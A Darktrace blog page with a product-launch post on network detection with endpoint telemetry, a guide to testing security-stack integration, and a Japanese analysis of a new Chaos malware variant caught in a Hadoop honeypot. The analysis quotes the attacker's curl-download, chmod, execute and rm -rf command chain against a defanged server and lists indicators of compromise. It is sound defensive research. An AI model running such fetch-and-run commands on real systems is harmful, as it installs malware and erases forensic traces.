ブログ
/
Network
/
October 23, 2025

Darktrace Redefines NDR: Industry-First Autonomous Threat Investigation from Network to Endpoint with Agentic AI

Darktrace delivers the next evolution of NDR, extending an industry-first bridge across the network and endpoint gap with Self-Learning AI.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Mikey Anderson
Product Marketing Manager, Network Detection & Response
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
23
Oct 2025

Darktrace delivers the next evolution of unified and proactive NDR

Darktrace Network Endpoint eXtended Telemetry (NEXT) is revolutionizing NDR with the industry’s first mixed-telemetry agent using Self-Learning AI.  

The combined context of native network and endpoint process data significantly reduces incident triage and investigation times for threats spanning both domains. Our business-centric approach learns what normal looks like for each endpoint, and now uses process context to extend our ability to identify novel threats that existing EDR/XDR tools often  miss.

Summary of what’s new:

  • Native endpoint process telemetry combined with NDR, bridging the EDR gap
  • Self-Learning AI on the endpoint to stop novel threats missed by EDR
  • Sophisticated Agentic AI to automate SecOps investigations across all major IT domains
  • AI-native, real-time threat detection, investigation, and response (TDIR) for cross-domain activity throughout the enterprise

Why is this an important next step in NDR?

Security analysts are buried under a flood of alerts that lack the context needed to separate genuine threats from noise. The root problem is that most security tools only see one slice of the environment. IT and OT networks, endpoints, and cloud systems are monitored in isolation, with little correlation between them.

As a result, investigations are highly manual. Analysts are forced to pivot between siloed point-products, each providing only a fragment of the incident. This slows response, creates blind spots, and limits the team’s ability to understand and contain threats effectively.

In many cases, the high degree of skill it takes to pivot tools and conduct investigations leads even the most experienced analysts closer to burnout, especially when they are already exhausted by the quantity of alerts. Ultimately, the human personnel managing these systems are using their skills to accommodate for the lack of synergy between tools they are using in their security stack, rather than developing the higher-value expertise needed to anticipate, prevent, and respond to emerging threats.

Many organizations have attempted to overcome this challenge by implementing XDR solutions. But, XDR does not cover NDR related use cases. This is especially true in OT/CPS environments where it is not possible to install an agent on devices.

XDR is an Endpoint-focused tool that cannot see the full picture of threats moving laterally across the network, targeting unmanaged devices, or blending into legitimate traffic. While XDR is still a strong tool in the arsenal, attackers are noticing where the gaps are:

  • A CISA Red Team assessment found that one U.S. critical infrastructure organization suffered prolonged compromise because it overly relied on host‑based EDR and lacked sufficient network-layer defenses.  

Bottom line: Without native network detection and response (NDR), critical incidents slip through undetected.

Not all NDR tools are built the same

When it comes to NDR, the details matter. Here are a few reasons why not all NDR solutions are created equal:

  • Most NDR solutions depend on EDR/XDR integrations to ingest endpoint alerts, which are raised based on activity that is already known to be malicious
  • They can’t investigate beyond what the EDR already flags, lacking process-level context in network investigations
  • Almost no NDR solutions have a native endpoint agent to extend NDR visibility to remote worker devices

This reliance on EDR leaves critical gaps in network coverage, since EDRs themselves don’t provide network-level visibility.

The NEXT evolution of NDR

Darktrace Network Endpoint eXtended Telemetry (NEXT) is revolutionizing NDR with the industry’s first mixed-telemetry agent using Self-Learning AI.  

The combined context of native network and endpoint process data significantly reduces incident triage and investigation times for threats spanning both domains, our business-centric approach with new data also extends our ability to identify novel threats that existing EDR/XDR may miss.

Darktrace / ENDPOINT agents are now able to utilize new Network Endpoint eXtended Telemetry (NEXT) capabilities. This combines full network visibility with native endpoint process data, enabling autonomous investigations that trace threats from initial network activity all the way to the root cause at the endpoint, without manual correlation or tool switching. This bridges the gap between NDR and the endpoint, while adding value to existing EDR investments.

Darktrace natively shows the endpoint process context in relation to network events, complete with parent/child process relationships, adding immediate context to network investigations without needing to pivot to your EDR.
Figure 1: Darktrace natively shows the endpoint process context in relation to network events, complete with parent/child process relationships, adding immediate context to network investigations without needing to pivot to your EDR.

Leveraging this data in investigations

This additional context is then leveraged by Cyber AI Analyst, a sophisticated agentic AI system that autonomously performs end-to-end investigations of all relevant alerts and prioritizes incidents. With the new endpoint process visibility, Cyber AI Analyst now incorporates process context into its decision-making, which improves detection accuracy, filters out benign activity, and enhances incident narratives with process-level insights.

This makes Darktrace the first NDR to natively investigate threats across network and endpoint telemetry with an autonomous, agentic AI analyst. And with our Self-Learning AI, Darktrace continuously evolves by understanding what’s normal for each unique environment, now adding process data to extend visibility and range of detections. This enables Darktrace to detect and contain novel threats, including zero-days, insider threats, and emerging attack techniques, up to 8 days before public disclosure.

This is more than a solution to a visibility problem. It’s a fundamental evolution in how threats are detected, investigated, and stopped. By applying agentic AI, Darktrace empowers security teams to move from reactive alert triage to proactive, autonomous defense, surfacing and blocking threats that others simply can’t see.

An excerpt from a Darktrace Cyber AI Analyst incident, showing the inclusion of native endpoint process context alongside other network events.
Figure 2: An excerpt from a Darktrace Cyber AI Analyst incident, showing the inclusion of native endpoint process context alongside other network events.

Continued innovation in detection and response

Darktrace also continues to invest in our core NDR capabilities, delivering enhancements and innovations to solve modern network security challenges. In the latest release, Darktrace / NETWORK has been enhanced to increase detection efficacy and performance. This includes increased protocol detection fidelity and new support for custom port mappings, plus expanded visibility into HTTP traffic to support more targeted threat hunting across a wider range of application layer activity. In addition, vSensor performance has been upgraded for tunnel protocols such as Geneve.

We have also released enhancements to Autonomous Response, which is already trusted by thousands of organizations to contain threats at the earliest stages without causing business disruption. This includes enhanced support for highly complex and segmented networks, plus the ability to extend Autonomous Response actions to more areas with additional firewall integration support. This enables faster and more effective response to network threats, and continues Darktrace’s proven ability to contain zero-day threats up to 8 days before public disclosure.

Providing seamless operations with the new Darktrace ActiveAI Security Portal

As part of Darktrace’s commitment to breaking down silos across the cyber defense lifecycle, this release also introduces major platform enhancements that tackle often-overlooked operational gaps specifically around user access, permissions, and integration workflows. With the launch of the new Darktrace ActiveAI Security Portal, organizations can now manage security at scale across diverse environments, making it ideal for large enterprises, MSSPs, and partners overseeing multiple tenants. These updates ensure that visibility, control, and scalability extend beyond detection and response and into how teams manage and interact with the platform itself.

Committed to innovation

These updates are part of the broader Darktrace release, which also included:

1. Major innovations in cloud security with the launch of the industry’s first fully automated cloud forensics solution, reinforcing Darktrace’s leadership in AI-native security.

2. Innovations to our suite of Exposure Management & Attack Surface Management products including:

  • Exploit Prediction Assessment: Continuously validates whether top-priority exposures are actually exploitable in your environment without waiting for patch cycles or formal pen tests.  
  • Deep & Dark Web Monitoring: Extends visibility across millions of sources in the deep and dark web to detect leaked credentials linked to your confirmed domains.
  • Confidence Score: our newly developed AI classification platform will compare newly discovered assets to assets that are known to belong to your organization. The more these newly discovered assets look similar to assets that belong to your organization, the higher the score will be.
  • No-Telemetry Endpoint: Collects installed software data and maps it to known CVEs—without network traffic—providing device-level vulnerability context and operational relevance.
  • Cost-Benefit Analysis for Patching: Calculates ROI by comparing patching effort with potential exploit impact, factoring in headcount time, device count, patch difficulty, and automation availability.

Visit these blogs to learn more about updates:

As attackers exploit gaps between tools, the Darktrace ActiveAI Security Platform delivers unified detection, automated investigation, and autonomous response across cloud, endpoint, email, network, and OT. With full-stack visibility and AI-native workflows, Darktrace empowers security teams to detect, understand, and stop novel threats before they escalate.

Join our Live Launch Event

When? 

December 9, 2025

What will be covered?

Join our live broadcast to experience how Darktrace is eliminating blind spots for detection and response across your complete enterprise with new innovations in Agentic AI across our ActiveAI Security platform. Industry leaders from IDC will join Darktrace customers to discuss challenges in cross-domain security, with a live walkthrough reshaping the future of Network Detection & Response, Endpoint Detection & Response, Email Security, and SecOps in novel threat detection and autonomous investigations.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Mikey Anderson
Product Marketing Manager, Network Detection & Response

More in this series

No items found.

Blog

/

AI

/

April 9, 2026

How to Secure AI and Find the Gaps in Your Security Operations

Default blog imageDefault blog image

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

Continue reading
About the author
Nabil Zoldjalali
VP, Field CISO

Blog

/

/

April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

Default blog imageDefault blog image

はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE(共通脆弱性識別子)を通じて拡散します。その後感染したデバイスをDDoS(分散型サービス拒否攻撃)ボットネットや、暗号通貨マイニングに使用します。  

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint.
図1:保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。
  • ./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬(RAT)を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー(VPS)です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service.
図2:systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール(C2)サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed.
図3:StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当: Nathaniel Bill (Malware Research Engineer)
編集: Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ